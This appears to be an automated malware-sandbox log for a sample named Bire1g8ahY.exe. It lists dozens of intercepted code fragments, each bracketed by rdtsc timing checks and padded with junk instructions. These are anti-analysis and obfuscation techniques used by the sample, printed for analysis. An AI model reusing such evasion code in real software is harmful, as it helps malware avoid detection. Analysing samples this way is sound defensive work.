Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050829 second address: 505084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F62F943B87Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 505084C second address: 5050850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050850 second address: 5050856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050856 second address: 505089F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 50h 0x00000005 pushfd 0x00000006 jmp 00007F62F8C4B1A9h 0x0000000b or ch, FFFFFFF6h 0x0000000e jmp 00007F62F8C4B1A1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F62F8C4B19Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050912 second address: 5050918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050918 second address: 505091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 505091C second address: 5050920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050920 second address: 50401E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F62F8C4B1A6h 0x00000011 add esi, 4835E1C8h 0x00000017 jmp 00007F62F8C4B19Bh 0x0000001c popfd 0x0000001d popad 0x0000001e pop esi 0x0000001f jmp 00007F62F8C4B1A6h 0x00000024 leave 0x00000025 jmp 00007F62F8C4B1A0h 0x0000002a retn 0004h 0x0000002d nop 0x0000002e cmp eax, 00000000h 0x00000031 setne al 0x00000034 jmp 00007F62F8C4B192h 0x00000036 xor ebx, ebx 0x00000038 test al, 01h 0x0000003a jne 00007F62F8C4B197h 0x0000003c sub esp, 04h 0x0000003f mov dword ptr [esp], 0000000Dh 0x00000046 call 00007F62FD2C8930h 0x0000004b mov edi, edi 0x0000004d pushad 0x0000004e jmp 00007F62F8C4B19Eh 0x00000053 pushfd 0x00000054 jmp 00007F62F8C4B1A2h 0x00000059 add ax, E248h 0x0000005e jmp 00007F62F8C4B19Bh 0x00000063 popfd 0x00000064 popad 0x00000065 xchg eax, ebp 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50401E2 second address: 50401E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50401E8 second address: 5040205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040205 second address: 5040214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040214 second address: 504021A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504021A second address: 5040235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B887h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040235 second address: 5040264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F62F8C4B1A5h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F62F8C4B19Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040264 second address: 504028B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F943B87Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504028B second address: 5040291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040291 second address: 5040295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040295 second address: 50402A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50402A4 second address: 50402A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50402A8 second address: 50402AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50402AC second address: 50402B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50402B2 second address: 50402B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50402B7 second address: 504030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 742Bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F62F943B87Ah 0x00000016 sbb cl, FFFFFFB8h 0x00000019 jmp 00007F62F943B87Bh 0x0000001e popfd 0x0000001f call 00007F62F943B888h 0x00000024 pop eax 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 call 00007F62F943B881h 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504030F second address: 5040324 instructions: 0x00000000 rdtsc 0x00000002 mov di, 5DF4h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 mov bx, 2C24h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040324 second address: 5040364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62F943B888h 0x00000009 and al, FFFFFFD8h 0x0000000c jmp 00007F62F943B87Bh 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F62F943B87Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040364 second address: 504036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040385 second address: 50403F8 instructions: 0x00000000 rdtsc 0x00000002 mov eax, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebx, 00000000h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F62F943B882h 0x00000013 add si, 5EC8h 0x00000018 jmp 00007F62F943B87Bh 0x0000001d popfd 0x0000001e mov bx, ax 0x00000021 popad 0x00000022 sub edi, edi 0x00000024 pushad 0x00000025 push edi 0x00000026 mov eax, 6A3EFCD3h 0x0000002b pop eax 0x0000002c pushfd 0x0000002d jmp 00007F62F943B889h 0x00000032 adc ch, FFFFFF96h 0x00000035 jmp 00007F62F943B881h 0x0000003a popfd 0x0000003b popad 0x0000003c inc ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50403F8 second address: 504043A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F62F8C4B1A5h 0x0000000c sub eax, 6F8882A6h 0x00000012 jmp 00007F62F8C4B1A1h 0x00000017 popfd 0x00000018 popad 0x00000019 test al, al 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ch, bl 0x00000020 mov esi, 311282EBh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504043A second address: 504046C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F62F943BA25h 0x0000000f jmp 00007F62F943B87Eh 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504046C second address: 5040470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040470 second address: 504048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504048D second address: 50404AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov al, 68h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504052E second address: 5040580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, D0h 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test eax, eax 0x0000000c pushad 0x0000000d jmp 00007F62F943B880h 0x00000012 mov di, si 0x00000015 popad 0x00000016 jg 00007F6369E597B3h 0x0000001c jmp 00007F62F943B87Ch 0x00000021 js 00007F62F943B913h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F62F943B887h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040580 second address: 50405EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F62F8C4B19Eh 0x00000011 jne 00007F6369669083h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ebx, 1049D820h 0x0000001f pushfd 0x00000020 jmp 00007F62F8C4B1A9h 0x00000025 sbb ecx, 127A5326h 0x0000002b jmp 00007F62F8C4B1A1h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50405EF second address: 5040623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F62F943B883h 0x00000014 pop esi 0x00000015 mov bx, 733Ch 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040623 second address: 5040638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040638 second address: 5040685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e jmp 00007F62F943B87Eh 0x00000013 xchg eax, esi 0x00000014 jmp 00007F62F943B880h 0x00000019 push eax 0x0000001a jmp 00007F62F943B87Bh 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 movsx edx, si 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040685 second address: 50406EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e pushad 0x0000000f jmp 00007F62F8C4B1A9h 0x00000014 jmp 00007F62F8C4B1A0h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007F62F8C4B1A3h 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50406EB second address: 5040769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F62F943B87Eh 0x00000011 jmp 00007F62F943B885h 0x00000016 popfd 0x00000017 call 00007F62F943B880h 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f popad 0x00000020 push esi 0x00000021 jmp 00007F62F943B87Ch 0x00000026 mov dword ptr [esp], ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F62F943B887h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040769 second address: 504076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504076F second address: 5040773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040784 second address: 50407B8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F62F8C4B1A2h 0x00000008 sub esi, 0C276218h 0x0000000e jmp 00007F62F8C4B19Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov esi, eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov esi, 5B522BE1h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 504006F second address: 50400A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F62F943B87Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F62F943B87Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50400A5 second address: 50400AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50400AB second address: 50400B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50400B1 second address: 50400B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50400B5 second address: 50400E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a movzx esi, dx 0x0000000d mov ax, dx 0x00000010 popad 0x00000011 mov dword ptr [ebp-04h], 55534552h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F62F943B882h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50400FB second address: 5040111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040111 second address: 5040185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62F943B887h 0x00000009 add esi, 05B899AEh 0x0000000f jmp 00007F62F943B889h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a leave 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F62F943B87Fh 0x00000024 sub cx, CFBEh 0x00000029 jmp 00007F62F943B889h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040BFF second address: 5040C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8D5Eh 0x00000007 mov ch, dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040C12 second address: 5040C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040C18 second address: 5040C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040C1C second address: 5040C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040C20 second address: 5040C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F62F8C4B1A8h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040C44 second address: 5040CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov di, 36CCh 0x0000000e mov edx, 31C9F3B8h 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov ebx, 514B81D0h 0x0000001c pushfd 0x0000001d jmp 00007F62F943B889h 0x00000022 and ah, 00000056h 0x00000025 jmp 00007F62F943B881h 0x0000002a popfd 0x0000002b popad 0x0000002c cmp dword ptr [75AB459Ch], 05h 0x00000033 jmp 00007F62F943B87Eh 0x00000038 je 00007F6369E495D0h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F62F943B87Dh 0x00000047 sub esi, 718E1266h 0x0000004d jmp 00007F62F943B881h 0x00000052 popfd 0x00000053 mov ch, BAh 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040CD7 second address: 5040CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040CF4 second address: 5040D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F62F943B886h 0x00000012 adc esi, 53B77798h 0x00000018 jmp 00007F62F943B87Bh 0x0000001d popfd 0x0000001e mov ebx, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040D95 second address: 5040DA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040DA4 second address: 5040DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 4A42EADAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040DAE second address: 5040DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push 51DE468Eh 0x0000000c pushad 0x0000000d mov dx, cx 0x00000010 mov ax, 80F5h 0x00000014 popad 0x00000015 xor dword ptr [esp], 2474DAA6h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F62F8C4B1A7h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040E48 second address: 5040E75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov al, dl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007F62F943B882h 0x00000012 je 00007F6369E3F394h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edx 0x0000001c pop eax 0x0000001d mov ah, dl 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040E75 second address: 5040E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B19Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5040E87 second address: 5040E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 505099B second address: 50509BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ch, E9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50509BE second address: 50509DE instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, edx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F62F943B883h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 50509DE second address: 5050A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov al, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F62F8C4B19Ch 0x00000010 mov ebp, esp 0x00000012 jmp 00007F62F8C4B1A0h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F62F8C4B19Eh 0x0000001f jmp 00007F62F8C4B1A5h 0x00000024 popfd 0x00000025 mov ah, A6h 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F62F8C4B1A4h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050A4A second address: 5050A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050A4E second address: 5050A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050A54 second address: 5050A5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050A5A second address: 5050A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050A5E second address: 5050A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F62F943B884h 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F62F943B87Ch 0x0000001a sbb ch, 00000028h 0x0000001d jmp 00007F62F943B87Bh 0x00000022 popfd 0x00000023 rdtsc
